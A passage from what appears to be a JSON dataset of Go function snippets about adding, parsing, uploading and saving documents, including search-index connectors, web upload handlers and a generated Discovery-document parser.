*ESConnector) AddDocuments(container interface{}, opt *SolrAddOption) <-chan []byte {\\n\\trecvChan := make(chan []byte)\\n\\n\\tvar err error\\n\\t// todo: size constrain should be placed here\\n\\tdefer func() {\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Printf(\\\"Error occured, uploading document failed\\\")\\n\\t\\t}\\n\\t}()\\n\\tgo func(rC chan []byte) {\\n\\t\\tb, err := json.Marshal(container)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(\\\"Failed at marshaling json structure, \\\", err)\\n\\t\\t}\\n\\n\\t\\trespB, err := sc.PostUpdate(b)\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Println(err)\\n\\t\\t}\\n\\t\\trC <- respB\\n\\t}(recvChan)\\n\\treturn recvChan\\n}\",\n \"func addToFile(text, path, fileName string) {\\n\\tfullPath := createFullPath(path, fileName)\\n\\t//Make sure that the file exists\\n\\tif !fileExists(path, fileName) {\\n\\t\\tcreateFile(path, fileName)\\n\\t}\\n\\tfile, err := os.OpenFile(fullPath, os.O_APPEND, 0666)\\n\\tcheckError(err)\\n\\t_, err = file.WriteString(text)\\n\\tcheckError(err)\\n}\",\n \"func (s *Basegff3Listener) EnterDocument(ctx *DocumentContext) {}\",\n \"func (c *Client) RecognizeText(ctx context.Context, params *RecognizeTextInput, optFns ...func(*Options)) (*RecognizeTextOutput, error) {\\n\\tif params == nil {\\n\\t\\tparams = &RecognizeTextInput{}\\n\\t}\\n\\n\\tresult, metadata, err := c.invokeOperation(ctx, \\\"RecognizeText\\\", params, optFns, addOperationRecognizeTextMiddlewares)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := result.(*RecognizeTextOutput)\\n\\tout.ResultMetadata = metadata\\n\\treturn out, nil\\n}\",\n \"func (s *Service) MatchDocument(document documents.DocumentDescription, params map[string]string, response handle.ResponseHandle) error {\\n\\treturn matchDocument(s.client, document, params, response)\\n}\",\n \"func (m Model) AddWord(word string) *Word {\\n\\tw := Word{Word: word}\\n\\tif _, err := m.PG.Model(&w).Where(\\\"word = ?\\\", word).SelectOrInsert(); err != nil {\\n\\t\\tlog.Printf(\\\"failed select or insert word \\\\\\\"%s\\\\\\\", message: %s\\\", word, err)\\n\\t}\\n\\tlog.Printf(\\\"processed word \\\\\\\"%s\\\\\\\"\\\", word)\\n\\treturn &w\\n}\",\n \"func (api *api) addService(service string, templateText string) error {\\n\\tparts := strings.Split(service, \\\"/\\\")\\n\\tvar res []string\\n\\tfor _, part := range parts {\\n\\t\\tif len(part) != 0 {\\n\\t\\t\\tres = append(res, url.QueryEscape(part))\\n\\t\\t}\\n\\t}\\n\\tservice = strings.Join(res, \\\"/\\\")\\n\\ttempl := &template.Template{}\\n\\tt, err := templ.Parse(templateText)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tapi.Manager.Lock()\\n\\tdefer api.Manager.Unlock()\\n\\tvar hits uint64\\n\\tif v, ok := api.Manager.pathes[service]; ok {\\n\\t\\thits = v.hits\\n\\t}\\n\\tapi.Manager.pathes[service] = &rool{content: templateText, Pattern: t, hits: hits}\\n\\treturn nil\\n}\",\n \"func (fm *FontManager) AddFont(pathToFontFile string) error {\\n\\tfontBytes, err := ioutil.ReadFile(pathToFontFile)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tfont, err := truetype.Parse(fontBytes)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfm.fontFiles = append(fm.fontFiles, pathToFontFile)\\n\\tfm.fontObjects[pathToFontFile] = font\\n\\n\\treturn nil\\n}\",\n \"func ParseDocument(r io.Reader, config *configuration.Configuration, opts ...Option) (*types.Document, error) {\\n\\tdone := make(chan interface{})\\n\\tdefer close(done)\\n\\n\\tfootnotes := types.NewFootnotes()\\n\\tdoc, err := Aggregate(NewParseContext(config, opts...),\\n\\t\\t// SplitHeader(done,\\n\\t\\tFilterOut(done,\\n\\t\\t\\tArrangeLists(done,\\n\\t\\t\\t\\tCollectFootnotes(footnotes, done,\\n\\t\\t\\t\\t\\tApplySubstitutions(NewParseContext(config, opts...), done, // needs to be before 'ArrangeLists'\\n\\t\\t\\t\\t\\t\\tRefineFragments(NewParseContext(config, opts...), r, done,\\n\\t\\t\\t\\t\\t\\t\\tParseDocumentFragments(NewParseContext(config, opts...), r, done),\\n\\t\\t\\t\\t\\t\\t),\\n\\t\\t\\t\\t\\t),\\n\\t\\t\\t\\t),\\n\\t\\t\\t),\\n\\t\\t),\\n\\t\\t// ),\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tif len(footnotes.Notes) > 0 {\\n\\t\\tdoc.Footnotes = footnotes.Notes\\n\\t}\\n\\tif log.IsLevelEnabled(log.DebugLevel) {\\n\\t\\tlog.Debugf(\\\"parsed document:\\\\n%s\\\", spew.Sdump(doc))\\n\\t}\\n\\treturn doc, nil\\n}\",\n \"func uploadDocument(c echo.Context) error {\\n\\n\\tclaim, err := securityCheck(c, \\\"upload\\\")\\n\\tif err != nil {\\n\\t\\treturn c.String(http.StatusUnauthorized, \\\"bye\\\")\\n\\t}\\n\\n\\treq := c.Request()\\n\\t// req.ParseMultipartForm(16 << 20) // Max memory 16 MiB\\n\\n\\tdoc := &DBdoc{}\\n\\tdoc.ID = 0\\n\\tdoc.Name = c.FormValue(\\\"desc\\\")\\n\\tdoc.Type = c.FormValue(\\\"type\\\")\\n\\tRev, _ := strconv.Atoi(c.FormValue(\\\"rev\\\"))\\n\\tdoc.RefId, _ = strconv.Atoi(c.FormValue(\\\"ref_id\\\"))\\n\\tdoc.UserId, _ = getClaimedUser(claim)\\n\\tlog.Println(\\\"Passed bools\\\", c.FormValue(\\\"worker\\\"), c.FormValue(\\\"sitemgr\\\"), c.FormValue(\\\"contractor\\\"))\\n\\tdoc.Worker = (c.FormValue(\\\"worker\\\") == \\\"true\\\")\\n\\tdoc.Sitemgr = (c.FormValue(\\\"sitemgr\\\") == \\\"true\\\")\\n\\tdoc.Contractor = (c.FormValue(\\\"contractor\\\") == \\\"true\\\")\\n\\tdoc.Filesize = 0\\n\\n\\t// make upload dir if not already there, ignore errors\\n\\tos.Mkdir(\\\"uploads\\\", 0666)\\n\\n\\t// Read files\\n\\t// files := req.MultipartForm.File[\\\"file\\\"]\\n\\tfiles, _ := req.FormFile(\\\"file\\\")\\n\\tpath := \\\"\\\"\\n\\t//log.Println(\\\"files =\\\", files)\\n\\t// for _, f := range files {\\n\\tf := files\\n\\tdoc.Filename = f.Filename\\n\\n\\t// Source file\\n\\tsrc, err := f.Open()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer src.Close()\\n\\n\\t// While filename exists, append a version number to it\\n\\tdoc.Path = \\\"uploads/\\\" + doc.Filename\\n\\tgotFile := false\\n\\trevID := 1\\n\\n\\tfor !gotFile {\\n\\t\\tlog.Println(\\\"Try with path=\\\", doc.Path)\\n\\t\\tdst, err := os.OpenFile(doc.Path, os.O_EXCL|os.O_RDWR|os.O_CREATE, 0666)\\n\\t\\tif err != nil {\\n\\t\\t\\tif os.IsExist(err) {\\n\\t\\t\\t\\tlog.Println(doc.Path, \\\"already exists\\\")\\n\\t\\t\\t\\tdoc.Path = fmt.Sprintf(\\\"uploads/%s.%d\\\", doc.Filename, revID)\\n\\t\\t\\t\\trevID++\\n\\t\\t\\t\\tif revID > 999 {\\n\\t\\t\\t\\t\\tlog.Println(\\\"RevID limit exceeded, terminating\\\")\\n\\t\\t\\t\\t\\treturn c.String(http.StatusBadRequest, doc.Path)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tlog.Println(\\\"Created file\\\", doc.Path)\\n\\t\\t\\tgotFile = true\\n\\t\\t\\tdefer dst.Close()\\n\\n\\t\\t\\tif doc.Filesize, err = io.Copy(dst, src); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\n\\t\\t\\t// If we get here, then the file transfer is complete\\n\\n\\t\\t\\t// If doc does not exist by this filename, create it\\n\\t\\t\\t// If doc does exist, create rev, and update header details of doc\\n\\n\\t\\t\\tif Rev == 0 {\\n\\t\\t\\t\\t// New doc\\n\\t\\t\\t\\terr := DB.InsertInto(\\\"doc\\\").\\n\\t\\t\\t\\t\\tWhitelist(\\\"name\\\", \\\"filename\\\", \\\"path\\\", \\\"worker\\\", \\\"sitemgr\\\", \\\"contractor\\\", \\\"type\\\", \\\"ref_id\\\", \\\"filesize\\\", \\\"user_id\\\").\\n\\t\\t\\t\\t\\tRecord(doc).\\n\\t\\t\\t\\t\\tReturning(\\\"id\\\").\\n\\t\\t\\t\\t\\tQueryScalar(&doc.ID)\\n\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tlog.Println(\\\"Inserting Record:\\\", err.Error())\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tlog.Println(\\\"Inserted new doc with ID\\\", doc.ID)\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t// Revision to existing doc\\n\\t\\t\\t\\tdocRev := &DBdocRev{}\\n\\t\\t\\t\\tdocRev.Path = doc.Path\\n\\t\\t\\t\\tdocRev.Filename = doc.Filename\\n\\t\\t\\t\\tdocRev.Filesize = doc.Filesize\\n\\t\\t\\t\\tdocRev.DocId = doc.ID\\n\\t\\t\\t\\tdocRev.ID = Rev\\n\\t\\t\\t\\tdocRev.Descr = doc.Name\\n\\t\\t\\t\\tdocRev.UserId = doc.UserId\\n\\n\\t\\t\\t\\t_, err := DB.InsertInto(\\\"doc_rev\\\").\\n\\t\\t\\t\\t\\tWhitelist(\\\"doc_id\\\", \\\"id\\\", \\\"descr\\\", \\\"filename\\\", \\\"path\\\", \\\"filesize\\\", \\\"user_id\\\").\\n\\t\\t\\t\\t\\tRecord(docRev).\\n\\t\\t\\t\\t\\tExec()\\n\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tlog.Println(\\\"Inserting revision:\\\", err.Error())\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tlog.Println(\\\"Inserted new revision with ID\\\", docRev.ID)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t}\\n\\n\\t\\t} // managed to create the new file\\n\\t\\t// } // loop until we have created a file\\n\\t} // foreach file being uploaded this batch\\n\\n\\treturn c.String(http.StatusOK, path)\\n}\",\n \"func (c *Client) CreateDocument(vaultID string, document *models.EncryptedDocument) (string, error) {\\n\\treturn \\\"\\\", nil\\n}\",\n \"func NewDocument(in *yaml.Node, context *compiler.Context) (*Document, error) {\\n\\terrors := make([]error, 0)\\n\\tx := &Document{}\\n\\tm, ok := compiler.UnpackMap(in)\\n\\tif !ok {\\n\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value: %+v (%T)\\\", in, in)\\n\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t} else {\\n\\t\\trequiredKeys := []string{\\\"discoveryVersion\\\", \\\"kind\\\"}\\n\\t\\tmissingKeys := compiler.MissingKeysInMap(m, requiredKeys)\\n\\t\\tif len(missingKeys) > 0 {\\n\\t\\t\\tmessage := fmt.Sprintf(\\\"is missing required %s: %+v\\\", compiler.PluralProperties(len(missingKeys)), strings.Join(missingKeys, \\\", \\\"))\\n\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t}\\n\\t\\tallowedKeys := []string{\\\"auth\\\", \\\"basePath\\\", \\\"baseUrl\\\", \\\"batchPath\\\", \\\"canonicalName\\\", \\\"description\\\", \\\"discoveryVersion\\\", \\\"documentationLink\\\", \\\"etag\\\", \\\"features\\\", \\\"fullyEncodeReservedExpansion\\\", \\\"icons\\\", \\\"id\\\", \\\"kind\\\", \\\"labels\\\", \\\"methods\\\", \\\"mtlsRootUrl\\\", \\\"name\\\", \\\"ownerDomain\\\", \\\"ownerName\\\", \\\"packagePath\\\", \\\"parameters\\\", \\\"protocol\\\", \\\"resources\\\", \\\"revision\\\", \\\"rootUrl\\\", \\\"schemas\\\", \\\"servicePath\\\", \\\"title\\\", \\\"version\\\", \\\"version_module\\\"}\\n\\t\\tvar allowedPatterns []*regexp.Regexp\\n\\t\\tinvalidKeys := compiler.InvalidKeysInMap(m, allowedKeys, allowedPatterns)\\n\\t\\tif len(invalidKeys) > 0 {\\n\\t\\t\\tmessage := fmt.Sprintf(\\\"has invalid %s: %+v\\\", compiler.PluralProperties(len(invalidKeys)), strings.Join(invalidKeys, \\\", \\\"))\\n\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t}\\n\\t\\t// string kind = 1;\\n\\t\\tv1 := compiler.MapValueForKey(m, \\\"kind\\\")\\n\\t\\tif v1 != nil {\\n\\t\\t\\tx.Kind, ok = compiler.StringForScalarNode(v1)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for kind: %s\\\", compiler.Display(v1))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string discovery_version = 2;\\n\\t\\tv2 := compiler.MapValueForKey(m, \\\"discoveryVersion\\\")\\n\\t\\tif v2 != nil {\\n\\t\\t\\tx.DiscoveryVersion, ok = compiler.StringForScalarNode(v2)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for discoveryVersion: %s\\\", compiler.Display(v2))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string id = 3;\\n\\t\\tv3 := compiler.MapValueForKey(m, \\\"id\\\")\\n\\t\\tif v3 != nil {\\n\\t\\t\\tx.Id, ok = compiler.StringForScalarNode(v3)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for id: %s\\\", compiler.Display(v3))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string name = 4;\\n\\t\\tv4 := compiler.MapValueForKey(m, \\\"name\\\")\\n\\t\\tif v4 != nil {\\n\\t\\t\\tx.Name, ok = compiler.StringForScalarNode(v4)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for name: %s\\\", compiler.Display(v4))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string version = 5;\\n\\t\\tv5 := compiler.MapValueForKey(m, \\\"version\\\")\\n\\t\\tif v5 != nil {\\n\\t\\t\\tx.Version, ok = compiler.StringForScalarNode(v5)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for version: %s\\\", compiler.Display(v5))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string revision = 6;\\n\\t\\tv6 := compiler.MapValueForKey(m, \\\"revision\\\")\\n\\t\\tif v6 != nil {\\n\\t\\t\\tx.Revision, ok = compiler.StringForScalarNode(v6)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for revision: %s\\\", compiler.Display(v6))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string title = 7;\\n\\t\\tv7 := compiler.MapValueForKey(m, \\\"title\\\")\\n\\t\\tif v7 != nil {\\n\\t\\t\\tx.Title, ok = compiler.StringForScalarNode(v7)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for title: %s\\\", compiler.Display(v7))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string description = 8;\\n\\t\\tv8 := compiler.MapValueForKey(m, \\\"description\\\")\\n\\t\\tif v8 != nil {\\n\\t\\t\\tx.Description, ok = compiler.StringForScalarNode(v8)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for description: %s\\\", compiler.Display(v8))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Icons icons = 9;\\n\\t\\tv9 := compiler.MapValueForKey(m, \\\"icons\\\")\\n\\t\\tif v9 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Icons, err = NewIcons(v9, compiler.NewContext(\\\"icons\\\", v9, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string documentation_link = 10;\\n\\t\\tv10 := compiler.MapValueForKey(m, \\\"documentationLink\\\")\\n\\t\\tif v10 != nil {\\n\\t\\t\\tx.DocumentationLink, ok = compiler.StringForScalarNode(v10)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for documentationLink: %s\\\", compiler.Display(v10))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// repeated string labels = 11;\\n\\t\\tv11 := compiler.MapValueForKey(m, \\\"labels\\\")\\n\\t\\tif v11 != nil {\\n\\t\\t\\tv, ok := compiler.SequenceNodeForNode(v11)\\n\\t\\t\\tif ok {\\n\\t\\t\\t\\tx.Labels = compiler.StringArrayForSequenceNode(v)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for labels: %s\\\", compiler.Display(v11))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string protocol = 12;\\n\\t\\tv12 := compiler.MapValueForKey(m, \\\"protocol\\\")\\n\\t\\tif v12 != nil {\\n\\t\\t\\tx.Protocol, ok = compiler.StringForScalarNode(v12)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for protocol: %s\\\", compiler.Display(v12))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string base_url = 13;\\n\\t\\tv13 := compiler.MapValueForKey(m, \\\"baseUrl\\\")\\n\\t\\tif v13 != nil {\\n\\t\\t\\tx.BaseUrl, ok = compiler.StringForScalarNode(v13)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for baseUrl: %s\\\", compiler.Display(v13))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string base_path = 14;\\n\\t\\tv14 := compiler.MapValueForKey(m, \\\"basePath\\\")\\n\\t\\tif v14 != nil {\\n\\t\\t\\tx.BasePath, ok = compiler.StringForScalarNode(v14)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for basePath: %s\\\", compiler.Display(v14))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string root_url = 15;\\n\\t\\tv15 := compiler.MapValueForKey(m, \\\"rootUrl\\\")\\n\\t\\tif v15 != nil {\\n\\t\\t\\tx.RootUrl, ok = compiler.StringForScalarNode(v15)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for rootUrl: %s\\\", compiler.Display(v15))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string service_path = 16;\\n\\t\\tv16 := compiler.MapValueForKey(m, \\\"servicePath\\\")\\n\\t\\tif v16 != nil {\\n\\t\\t\\tx.ServicePath, ok = compiler.StringForScalarNode(v16)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for servicePath: %s\\\", compiler.Display(v16))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string batch_path = 17;\\n\\t\\tv17 := compiler.MapValueForKey(m, \\\"batchPath\\\")\\n\\t\\tif v17 != nil {\\n\\t\\t\\tx.BatchPath, ok = compiler.StringForScalarNode(v17)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for batchPath: %s\\\", compiler.Display(v17))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Parameters parameters = 18;\\n\\t\\tv18 := compiler.MapValueForKey(m, \\\"parameters\\\")\\n\\t\\tif v18 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Parameters, err = NewParameters(v18, compiler.NewContext(\\\"parameters\\\", v18, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Auth auth = 19;\\n\\t\\tv19 := compiler.MapValueForKey(m, \\\"auth\\\")\\n\\t\\tif v19 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Auth, err = NewAuth(v19, compiler.NewContext(\\\"auth\\\", v19, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// repeated string features = 20;\\n\\t\\tv20 := compiler.MapValueForKey(m, \\\"features\\\")\\n\\t\\tif v20 != nil {\\n\\t\\t\\tv, ok := compiler.SequenceNodeForNode(v20)\\n\\t\\t\\tif ok {\\n\\t\\t\\t\\tx.Features = compiler.StringArrayForSequenceNode(v)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for features: %s\\\", compiler.Display(v20))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Schemas schemas = 21;\\n\\t\\tv21 := compiler.MapValueForKey(m, \\\"schemas\\\")\\n\\t\\tif v21 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Schemas, err = NewSchemas(v21, compiler.NewContext(\\\"schemas\\\", v21, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Methods methods = 22;\\n\\t\\tv22 := compiler.MapValueForKey(m, \\\"methods\\\")\\n\\t\\tif v22 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Methods, err = NewMethods(v22, compiler.NewContext(\\\"methods\\\", v22, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// Resources resources = 23;\\n\\t\\tv23 := compiler.MapValueForKey(m, \\\"resources\\\")\\n\\t\\tif v23 != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tx.Resources, err = NewResources(v23, compiler.NewContext(\\\"resources\\\", v23, context))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terrors = append(errors, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string etag = 24;\\n\\t\\tv24 := compiler.MapValueForKey(m, \\\"etag\\\")\\n\\t\\tif v24 != nil {\\n\\t\\t\\tx.Etag, ok = compiler.StringForScalarNode(v24)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for etag: %s\\\", compiler.Display(v24))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string owner_domain = 25;\\n\\t\\tv25 := compiler.MapValueForKey(m, \\\"ownerDomain\\\")\\n\\t\\tif v25 != nil {\\n\\t\\t\\tx.OwnerDomain, ok = compiler.StringForScalarNode(v25)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for ownerDomain: %s\\\", compiler.Display(v25))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string owner_name = 26;\\n\\t\\tv26 := compiler.MapValueForKey(m, \\\"ownerName\\\")\\n\\t\\tif v26 != nil {\\n\\t\\t\\tx.OwnerName, ok = compiler.StringForScalarNode(v26)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for ownerName: %s\\\", compiler.Display(v26))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// bool version_module = 27;\\n\\t\\tv27 := compiler.MapValueForKey(m, \\\"version_module\\\")\\n\\t\\tif v27 != nil {\\n\\t\\t\\tx.VersionModule, ok = compiler.BoolForScalarNode(v27)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for version_module: %s\\\", compiler.Display(v27))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string canonical_name = 28;\\n\\t\\tv28 := compiler.MapValueForKey(m, \\\"canonicalName\\\")\\n\\t\\tif v28 != nil {\\n\\t\\t\\tx.CanonicalName, ok = compiler.StringForScalarNode(v28)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for canonicalName: %s\\\", compiler.Display(v28))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// bool fully_encode_reserved_expansion = 29;\\n\\t\\tv29 := compiler.MapValueForKey(m, \\\"fullyEncodeReservedExpansion\\\")\\n\\t\\tif v29 != nil {\\n\\t\\t\\tx.FullyEncodeReservedExpansion, ok = compiler.BoolForScalarNode(v29)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for fullyEncodeReservedExpansion: %s\\\", compiler.Display(v29))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string package_path = 30;\\n\\t\\tv30 := compiler.MapValueForKey(m, \\\"packagePath\\\")\\n\\t\\tif v30 != nil {\\n\\t\\t\\tx.PackagePath, ok = compiler.StringForScalarNode(v30)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for packagePath: %s\\\", compiler.Display(v30))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t// string mtls_root_url = 31;\\n\\t\\tv31 := compiler.MapValueForKey(m, \\\"mtlsRootUrl\\\")\\n\\t\\tif v31 != nil {\\n\\t\\t\\tx.MtlsRootUrl, ok = compiler.StringForScalarNode(v31)\\n\\t\\t\\tif !ok {\\n\\t\\t\\t\\tmessage := fmt.Sprintf(\\\"has unexpected value for mtlsRootUrl: %s\\\", compiler.Display(v31))\\n\\t\\t\\t\\terrors = append(errors, compiler.NewError(context, message))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn x, compiler.NewErrorGroupOrNil(errors)\\n}\",\n \"func saveDocument(key string, c *gin.Context) *ResponseType {\\n\\tfilePath := dataDir + \\\"/\\\" + key\\n\\tfi, err := os.Stat(filePath)\\n\\tif err == nil && fi.Size() > 0 {\\n\\t\\treturn newErrorResp(key, \\\"file exists\\\", fmt.Errorf(\\\"file already exists for key %s\\\", key))\\n\\t}\\n\\tf, err := os.Create(filePath)\\n\\tif err != nil {\\n\\t\\treturn newErrorResp(key, \\\"file creation error\\\", fmt.Errorf(\\\"error creating file for key %s: %s\\\", key, err.Error()))\\n\\t}\\n\\tdefer f.Close()\\n\\t_, err = io.Copy(f, c.Request.Body)\\n\\tif err != nil {\\n\\t\\treturn newErrorResp(key, \\\"file write error\\\", fmt.Errorf(\\\"error copying body to file for key %s: %s\\\", key, err.Error()))\\n\\t}\\n\\tname := c.Request.FormValue(\\\"name\\\")\\n\\tcontentType := c.Request.Header.Get(\\\"Content-Type\\\")\\n\\textractor := c.Request.FormValue(\\\"extractor\\\")\\n\\ttitle := c.Request.FormValue(\\\"dc:title\\\")\\n\\tcreation := c.Request.FormValue(\\\"dcterms:created\\\")\\n\\tmodification := c.Request.FormValue(\\\"dcterms:modified\\\")\\n\\tmetadata := DocMetadata{\\n\\t\\tTimestamp: time.Now().Unix(),\\n\\t\\tName: name,\\n\\t\\tContentType: contentType,\\n\\t\\tExtractor: extractor,\\n\\t\\tTitle: title,\\n\\t\\tCreationDate: creation,\\n\\t\\tModificationDate: modification,\\n\\t}\\n\\terr = saveMetadata(key, &metadata)\\n\\tif err != nil {\\n\\t\\treturn newErrorResp(key, \\\"file metadata write error\\\", fmt.Errorf(\\\"error saving metadata for key %s: %s\\\", key, err.Error()))\\n\\t}\\n\\treturn newSuccessResp(key, \\\"document saved\\\")\\n}\",\n \"func (m *sparse) Add(index *index.TermIndex, weight classifier.WeightScheme, docWordFreq map[string]float64) {\\n\\tprev := len(m.ind)\\n\\tfor term := range docWordFreq 